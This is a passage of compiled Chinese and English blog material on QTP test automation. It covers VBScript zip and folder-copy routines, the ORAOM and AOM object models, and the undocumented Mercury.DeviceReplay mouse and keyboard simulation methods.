objTarget.CopyHere objFolderItem, intOptions
Do
WScript.Sleep 1000
Loop Until objTarget.Items.Count > 0
End Sub 

vbs脚本解压代码：

UnZip "D:\test.iso", "D:\test.zip"
Msgbox "OK"

Function UnZip(ByVal myZipFile, ByVal myTargetDir)
    Set fso = CreateObject("Scripting.FileSystemObject")
     If NOT fso.FileExists(myZipFile) Then
                 Print  "Can't find zip file->"&myZipFile
         Exit Function
     ElseIf fso.GetExtensionName(myZipFile) <> "zip" Then
                     Print  "This file is not a zip Extension->"&myZipFile
         Exit Function
     ElseIf NOT fso.FolderExists(myTargetDir) Then
         fso.CreateFolder(myTargetDir)
     End If
     Set bjShell = CreateObject("Shell.Application")
     Set bjSource = objShell.NameSpace(myZipFile)
     Set bjFolderItem = objSource.Items()
     Set bjTarget = objShell.NameSpace(myTargetDir)
     intOptions = 256
     objTarget.CopyHere objFolderItem, intOptions
End Function

Sub CopyFolder(ByVal mySourceDir, ByVal myTargetDir)
Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FolderExists(mySourceDir) Then
Exit Sub
ElseIf NOT fso.FolderExists(myTargetDir) Then
fso.CreateFolder(myTargetDir)
End If
Set bjShell = CreateObject("Shell.Application")
Set bjSource = objShell.NameSpace(mySourceDir)
Set bjFolderItem = objSource.Items()
Set bjTarget = objShell.NameSpace(myTargetDir)
intOptions = 256
objTarget.CopyHere objFolderItem, intOptions
End Sub

• ORAOM ---- Object Repository automation object model (对象库自动化模型对象)

Description:

就像QTP自动化模型对象来自动化QTP的操作一样，可以在QTP外部使用ORAOM中对象和对象的方法通过写脚本来完成多个对象的共享操作，而不是使用Object Repository Manager来手工的进行操作，比如测试对象的增删改，XML对象库的导出和导入，检索以及复制测试对象等等。

instructions:

Example:

1.在vbsEdti中创建ObjectRepositoryUtil对象

Set autoRepository = CreateObject("Mercury.ObjectRepositoryUtil")

创建完对象后可以在OBJECT BROWSER中查看ORAOM中的所有方法，如图

2.准备一个TSR格式的对象库文件,还是以百度为例，我们在对象库中添加一个搜索文本框对象，两个链接对象（贴吧、知道）后并导出TSR文件

3.当我们保存好TSR文件之后，就可以使用ORAOM来导入TSR文件并对其进行操作，代码如下：

• 遍历对象库找到对应的测试对象并对其进行对象名和属性名的更改

'********************* scripting by zzxxbb112 *********************
Option Explicit '强制所有变量的显式声明
DimautoRepository,TOCollection,testobject,i '声明变量
Set autoRepository = CreateObject("Mercury.ObjectRepositoryUtil") '创建ORAOM对象
autoRepository.Load "d:/baidu.tsr" '导入对象库文件
Set TOCollection = autoRepository.GetAllObjectsByClass("Link") '获取所有链接类的对象集合
For i=0 To TOCollection.count-1 '遍历所有测试对象
Set testobject = TOCollection.item(i) '获取测试对象
If autoRepository.GetLogicalName(testobject) = "知 道" Then '判断对象名称为“知道”执行一下操作
testobject.SetTOproperty "text","图 片" '更改对象库的TEXT属性为“图 片”
autoRepository.UpdateObject testobject '更新对象
autoRepository.RenameObject testobject,"图 片" '重命名对象名称
autoRepository.Save '保存对象库
Exit For '退出循环
End If
Next
Set testobject = Nothing
Set TOCollection = Nothing
Set autoRepository = Nothing
'释放所有对象
'******************************* end ****************************

注意：经本人研究，以上代码的对象释放不可省略，并且要由里向外的释放，否则会造成运行时报错,这一点在QTP的帮助文档里也没有提到

执行完以上脚本之后我们重新打开之前的那个TSR文件可以清楚的看到之前LINK类的"知 道"对象的对象名和属性名已经都被改成了"图 片"，此时原来的知道对象就已经不存在了，而图片这个对象则取代了它的位置，当我们选择图片这个对象然后点一下高亮之后，可以清楚看到这个对象已经定位在图片链接上了

AOM总结：

总结一下这两章的内容：AOM的作用主要是通过QTP外部使用脚本语言调用其COM自动化对象模型来对其工具和对象库进行自由的操作，甚至可以在我们自己的应用中调用它，从而达到自动化工具和对象库的效果，这些都是在我们自己开发自定义测试框架的时候非常有用的。

首先介绍一下什么是AOM

• AOM ---- Automation Object Model （自动化对象模型）

简单的说AOM就是一个可以自动化QTP的自动化对象模型，它可以对QTP的进行自动化配置操作以及QTP的运行回放进行自动化等等功能。

下面就来看一个最简单的创建AOM的例子：

Dim qtApp 
Set qtApp = CreateObject("QuickTest.Application") 
' 创建对象 
qtApp.Launch 
'Start QuickTest 
qtApp.Visible = True 
' 设置为可见

将以上代码保存为VBS后缀格式的文件后，双击运行即可自动启动QTP应用程序

以上代码只是VBScript的调用方式，其实我们还可以有很多种方式去调用QTP的AOM

VB:

Dim qtApp As QuickTest.Application
 ' 申明AOM对象 
Set qtApp = New QuickTest.Application
 ' 创建AOM对象
qtApp.Launch 
' 启动QTP
qtApp.Visible = True
 ' 设置为可见

C#

QuickTest.Application app = new QuickTest.Application();
// 创建QTP对象
app.Launch();
// 启动QTP
app.Visible =true;
// 让QTP可见

JavaScript.:

var qtApp = new ActiveXObject("QuickTest.Application"); 
// 创建AOM对象
qtApp.Launch(); 
// 启动QTP
qtApp.Visible = true 
// 设置为可见

这里就引发出了一个问题，为什么那么多语言都能够调用AOM来自动化QTP，这是因为QTP安装程序中已经注册了一个核心DLL文件的COM，这个DLL就是在安装文件夹下的BIN目录下:QTObjectModel.dll

下面我们就来简单的完成一个启动QTP--》打开脚本--》回放 这样的一个实例

我们在这里使用VBSEDIT工具

1、首先在这里引用QTObjectModel.dll

引用方法：

TOOLS - REFERENCES - add

在PROG ID中输入 QUICKTEST.APPLICATION

在TYPELIB PATH中找到这个dll的路径，位于安装路径的BIN目录下

2、在引用完DLL后，就可以创建AOM对象，并且会有相应的代码提示

当创建好AOM对象的同时也可以在对象浏览器中看到这个DLL下的所有方法和属性

3、完成以下代码之后，这样一个简单的从启动QTP、打开测试脚本、运行回放、关闭QTP的整个自动化QTP的流程就完成了

Set qtapp=CreateObject("quicktest.application")
'创建对象
qtapp.Launch
'启动
QTPqtapp.Visible=True
'设置为可见
qtapp.Open "d:/Test"
'打开相应的QTP测试脚本
qtapp.Test.Run
'运行测试脚本
qtapp.Quit
'退出QTP
Set qtapp=Nothing
'释放

4.当我们还需要对QTP的设置进行自动化时，由于QTP的设置较多，一个个写的话会很繁琐，因此我们可以先在QTP里设置好，然后直接在QTP的setting和option选项中点击generate scripting进行导出，这样能去我们很多的精力来写代码。

注意事项:

1.执行以上代码时，系统多出一个QTAutomationAgent.exe的进程，此进程在运行完以上代码后会自动关闭,但是需要注意的是，当我们在调试代码或者是做非法中止以上代码而为能使以上代码执行到最后完毕的话，此进程不会自动关闭，这样就会导致我们第二次创建AOM对象时报错，因此大家如果在调试此代码时遇到“远程过程调用失败”的类似错误提示，就可以试试kill掉QTAutomationAgent.exe这个进程，然后重新调试下代码就ok了。

2.如果在QTP直接创建AOM对象是会报错的，因为QTP只允许有一个实例对象，当我们已经开启了一个QTP之后就不可以再创建另外一个QTP了，因此这个时候我们可以直接使用GETOBJECT("","quicktest.application")来对当前启动的QTP进行操作,当我们添加下图脚本后，我们点击运行后当前QTP就会自动隐藏，运行完后自动恢复可见.

实例说明：以飞机订票的登录界面为例，假设ok按钮无法被QTP抓取到，完成对OK按钮的点击。

1. 首先抓去Dialog父窗口对象到对象库中，

2. 执行以下脚本

分析：

执行过程中，QTP会自动点击OK按钮，在此脚本中使用到GetTextLocation函数，此函数的作用主要是通过给出的文本查找出当前句柄对应窗口下的文本坐标，注意此处的坐标是窗口内部的相对坐标，并不是屏幕的绝对坐标。因此还需要加上父窗口的相对坐标才是相对于整个屏幕上的相对坐标。提取到相对坐标后即可使用隐藏组件DeviceReplay来进行点击（拖拽）操作。

扩展：

分析：

通过抽离技术把测试封装对象全部抽离出来，替换成object，并通过RegisterUserFunc强制注入到Dialog中，下次就可以直接使用此方法了。

小提示：

其实QTP本身还提供了一个方法，同样可以实现以上脚本的效果，但是此方法被QTP隐藏着并没有被公开，方法名为ClickOnText. 有兴趣的可以试试：Dialog("Login").ClickOnText "OK" ，只需要一句话，同样可以实现。

总结：

此项技术的原理主要是通过对于平时处理一些项目中少量的黑容器对象时能够起到非常大的作用。需要注意的是以上两种方式都是通过OCR的光学进行识别，因此某些时候可能识别不是很精确，这一点需要记住。

As this is still a work in process, the function of many methods is still unclear. I’ve set up a color coding system to make things more clear – Red = Don’t have a clue. Black = Have a pretty good idea / an educated guess. Green = Presumably know exactly what the method is supposed to do.

If any of you know the purpose and function of these methods, please fill me in by dropping a comment, and I’ll update the article.

Update: mayno224 has informed us that a Java object MethodWizard method will open a window with all the object’s internal methods (similar to the .Net form’s spy).

All Objects

All QTP test objects have these five methods in common:

1. Highlight – Highlights the object, much like the highlight feature in the object-repository.

2. QueryValue(Property, PropertyData), GetProperty(Property, pFlags, pType, pParameterName) and SetProperty(Property, Value, pFlags, pType, pParameterName)– I haven’t been able to figure out what these method do. If any of you manage to crack this up, I would appreciate it if you dropped a comment.

3. ToString – Returns a string representation of the object. Usually it’s just the name.

4. Init – As described here, re-links the test-object to the runtime object. Especially useful in a web environment, after a page refresh.

Web

All Objects:

Browser:

Page:

All other web objects (WebElement, WebList, WebButton, etc.):

Standard Windows

All Objects:

WinEdit:

WinButton:

WinMenu:

.Net (SWF objects)

All Objects:

SwfTable:

SwfButton:

.Java

All Objects:

Other environments and updates will be published when I’ve completed my investigation, and when reads will drop in more information through comments.

这里介绍一下Mercury.DeviceReplay这个对象，来实现对鼠标、键盘的模拟操作，它是一个很实用的对象，但QTP帮助文档中对几乎没有此介绍。

这个对象用来模拟鼠标的单击和移动、键盘输入等，但有个前提，实用该对象前，需要保证键盘状态正确如NUMLOCK是否打开等，因为DeviceReplay不能检测键盘状态。

1）创建DeviceReplay对象：

Set devReplay=CreateObject("Mercury.DeviceReplay")

2）Mercury.DeviceReplay包括如下方法：

1、SendString方法

向激活的窗口发送一个或多个键盘按键：object.SendString( str )

2、KeyDown方法

模一个按键的按下并保持：object.KeyDown( key ) key ： 按键的数值码

3、KeyUp方法
模拟通过键盘释放某个按下的按键：object.KeyUp( key )

4、PressKey方法
模拟通过键盘按下一个按键并立即释放：object.PressKey( key )

5、PressNKeys方法
模拟通过键盘多次按下一个按键并立即释放：object.PressNKey( key, N ) N：重复次数

6、DragAndDrop方法
用于执行从一点拖动到另外一点的操作：object.DragAndDrop( dragX, dragY, dropX, dropY, Button )

Button 的值包括

LEFT_MOUSE_BUTTON = 0

MIDDLE_MOUSE_BUTTON = 1

RIGHT_MOUSE_BUTTON = 2

7、MouseClick方法
在指定的屏幕位置执行鼠标左键或右键的单击操作：object.MouseClick( x, y, Button )

8、MouseDbClick方法
在指定的屏幕位置中执行鼠标左键或右键的双击事件：object.MouseDblClick( x, y, Button )

9、MouseDown方法
在屏幕指定位置按下鼠标左键或右键，并保持按下状态：object.MouseDown( x, y, Button )

10、MouseUp方法
用于释放之前执行的MouseDown方法所按下的鼠标按键：object.MouseDown( x, y, Button )

11、MouseMove方法
用于模拟鼠标移动：object.MouseMove( x, y)

12、SetSynchronizationTimeout方法
设置一个新的同步超时的时间值：object. SetSynchronizationTimeout（nSyncTimeout , is_sec）
nSyncTimeout ： 同步超时的时间值

is_sec ： 指定设置的时间值是否以秒为单位

3）最后，记得释放DeviceReplay对象

Set devReplay =nothing

4）一个非常简单的鼠标单击的例子

Set devReplay=CreateObject("Mercury.DeviceReplay")
devReplay.MouseMove 650 , 160
devReplay.MouseClick 650,160,0
Set devReplay =nothing

一． 使用方法

Dim dp

Set dp = CreateObject("Mercury.DeviceReplay") ' 建立对象

dp.SendString “keyword”

二． 局限和绕过方法

1. 不能判断一个Control键是否已经被按下

说明：

DeviceReplay是一个强大的未被文档化的对象，但是有一定的局限性。其中一个局限就是不能判断一个Control键是否已经被按下。在输入一个大写字母之前，我们需要知道CAPS-LOCK键是否已经按下。在使用数字键盘之前我们需要检查NUM-LOCK键是否已经被按下。否则我们在切换键盘输入状态时可能得到的并不是我们想要的状态。
Devices.Keyboard类提供了属性，可用于获取当前的键盘状态，例如当前什么键被按下了，并且提供一个方法用于向激活的窗口发送键盘敲击事件。
几个有用的属性包括：
AltKeyDown - 判断ALT键是否处于按下状态。
CapsLock - 判断CAPS LOCK键是否处于打开状态。
CtrlKeyDown - 判断CTRL 键是否处于按下状态。
NumLock - 判断NUM LOCK键是否处于打开状态。
ScrollLock - 判断SCROLL LOCK键是否处于打开状态。
ShiftKeyDown - 判断SHIFT键是否处于按下状态。

例：

Set Keyboard = DotNetFactory.CreateInstance(
"Microsoft.VisualBasic.Devices.Keyboard", "Microsoft.VisualBasic" )
Print CBool( Keyboard.AltKeyDown )
Print CBool( Keyboard.CapsLock )
Print CBool( Keyboard.CtrlKeyDown )
Print CBool( Keyboard.NumLock )
Print CBool( Keyboard.ScrollLock )
Print CBool( Keyboard.ShiftKeyDown )

2. 不能获取当前鼠标（光标）在屏幕的位置

说明：

DeviceReplay的另外一个局限是不能获取当前鼠标（光标）在屏幕的位置。而System.Windows.Forms.Control这个类定义了那些拥有视觉表现的控件的基类。
通过MousePosition属性可以获取当前鼠标光标在屏幕坐标的位置。访问MousePosition属性时，可以返回代表鼠标光标位置的Point数据。

例：

Set ctlr = DotNetFactory.CreateInstance("System.Windows.Forms.Control")
For i = 1 To 10
Wait 2
Print "1. X=" & ctlr.MousePosition.X & "; Y=" & ctlr.MousePosition.Y
Next

三． 方法

1. DragAndDrop方法

原型：

Sub DragAndDrop(ByVal DragX As Integer, ByVal DragY As Integer, ByVal DropX As Integer, ByVal DropY As Integer, ByVal Button As MouseButton)

功能：

用于执行从一点拖动到另外一点的操作。

语法：

object.DragAndDrop( dragX, dragY, dropX, dropY, Button )

输入参数：

object ： Mercury.DeviceReplay对象。

dragX ：起点坐标的X轴的值。

dragY ：起点坐标的Y轴的值。

dropX ：终点坐标的X轴的值。

dropY ：终点坐标的Y轴的值。

Button ：可能的值包括

LEFT_MOUSE_BUTTON = 0

MIDDLE_MOUSE_BUTTON = 1

RIGHT_MOUSE_BUTTON = 2

返回值：

无

2. GetAndClearSyncFail

原型：

Function GetAndClearSyncFail As Long

功能：

语法：

输入参数：

返回值：

3. KeyDown

原型：

Sub KeyDown(ByVal Key As Byte)

功能：

模拟一个按键的按下并保持（相当于Win32的KEY_DOWN事件）。

语法：

object.KeyDown( key )

输入参数：

object ： Mercury.DeviceReplay对象。

key ： 按键的数值码。可查阅后面的“Key Codes 参考”。

返回值：

无

4. KeyUp

原型：

Sub KeyUp(ByVal Key As Byte)

功能：

模拟通过键盘释放某个按下的按键。

语法：

object.KeyUp( key )

输入参数：

object ： Mercury.DeviceReplay对象。

key ： 按键的数值码。可查阅后面的“Key Codes 参考”。

返回值：

无

5. MouseClick

原型：

Sub MouseClick(ByVal x As Integer, ByVal y As Integer, ByVal Button As MouseButton)

功能：

在指定的屏幕位置执行鼠标左键或右键的单击操作。

语法：

object.MouseClick( x, y, Button )

输入参数：

object ： Mercury.DeviceReplay对象。

x ：屏幕坐标X轴的值。

y ：屏幕坐标Y轴的值。

Button ：可能的值包括

LEFT_MOUSE_BUTTON = 0

MIDDLE_MOUSE_BUTTON = 1

RIGHT_MOUSE_BUTTON = 2

返回值：

无

6. MouseDblClick

原型：

Sub MouseDblClick(ByVal x As Integer, ByVal y As Integer, ByVal Button As MouseButton)

功能：

在指定的屏幕位置中执行鼠标左键或右键的双击事件。

语法：

object.MouseDblClick( x, y, Button )

输入参数：

object ： Mercury.DeviceReplay对象。

x ：屏幕坐标X轴的值。

y ：屏幕坐标Y轴的值。

Button ：可能的值包括

LEFT_MOUSE_BUTTON = 0

MIDDLE_MOUSE_BUTTON = 1

RIGHT_MOUSE_BUTTON = 2

返回值：

无

7. MouseDown

原型：

Sub MouseDown(ByVal x As Integer, ByVal y As Integer, ByVal Button As MouseButton)

功能：

在屏幕指定位置按下鼠标左键或右键，并保持按下状态。

语法：

object.MouseDown( x, y, Button )

输入参数：

object ： Mercury.DeviceReplay对象。

x ：屏幕坐标X轴的值。

y ：屏幕坐标Y轴的值。

Button ：可能的值包括

LEFT_MOUSE_BUTTON = 0

MIDDLE_MOUSE_BUTTON = 1

RIGHT_MOUSE_BUTTON = 2

返回值：

无

8. MouseMove

原型：

Sub MouseMove(ByVal x As Integer, ByVal y As Integer)

功能：

用于模拟鼠标移动。

语法：

object.MouseMove ( x, y, Button )

输入参数：

object ： Mercury.DeviceReplay对象。

x ：屏幕坐标X轴的值。

y ：屏幕坐标Y轴的值。

返回值：

9. MouseUp

原型：

Sub MouseUp(ByVal x As Integer, ByVal y As Integer, ByVal Button As MouseButton)

功能：

用于释放之前执行的MouseDown方法所按下的鼠标按键。

语法：

object. MouseUp ( x, y )

输入参数：

object ： Mercury.DeviceReplay对象。

x ：屏幕坐标X轴的值。

y ：屏幕坐标Y轴的值。

Button ：可能的值包括

LEFT_MOUSE_BUTTON = 0

MIDDLE_MOUSE_BUTTON = 1

RIGHT_MOUSE_BUTTON = 2

返回值：

无

10. PressKey

原型：

Sub PressKey(ByVal Key As Byte)

功能：

模拟通过键盘按下一个按键并立即释放。

语法：

object.PressKey( key )

输入参数：

object ： Mercury.DeviceReplay对象。

key ： 按键的数值码。可查阅后面的“Key Codes 参考”。

返回值：

无

11. PressNKeys

原型：

Sub PressNKeys(ByVal Key As Byte, ByVal N As Integer)

功能：

模拟通过键盘多次按下一个按键并立即释放。

语法：

object.PressNKeys( key, N )

输入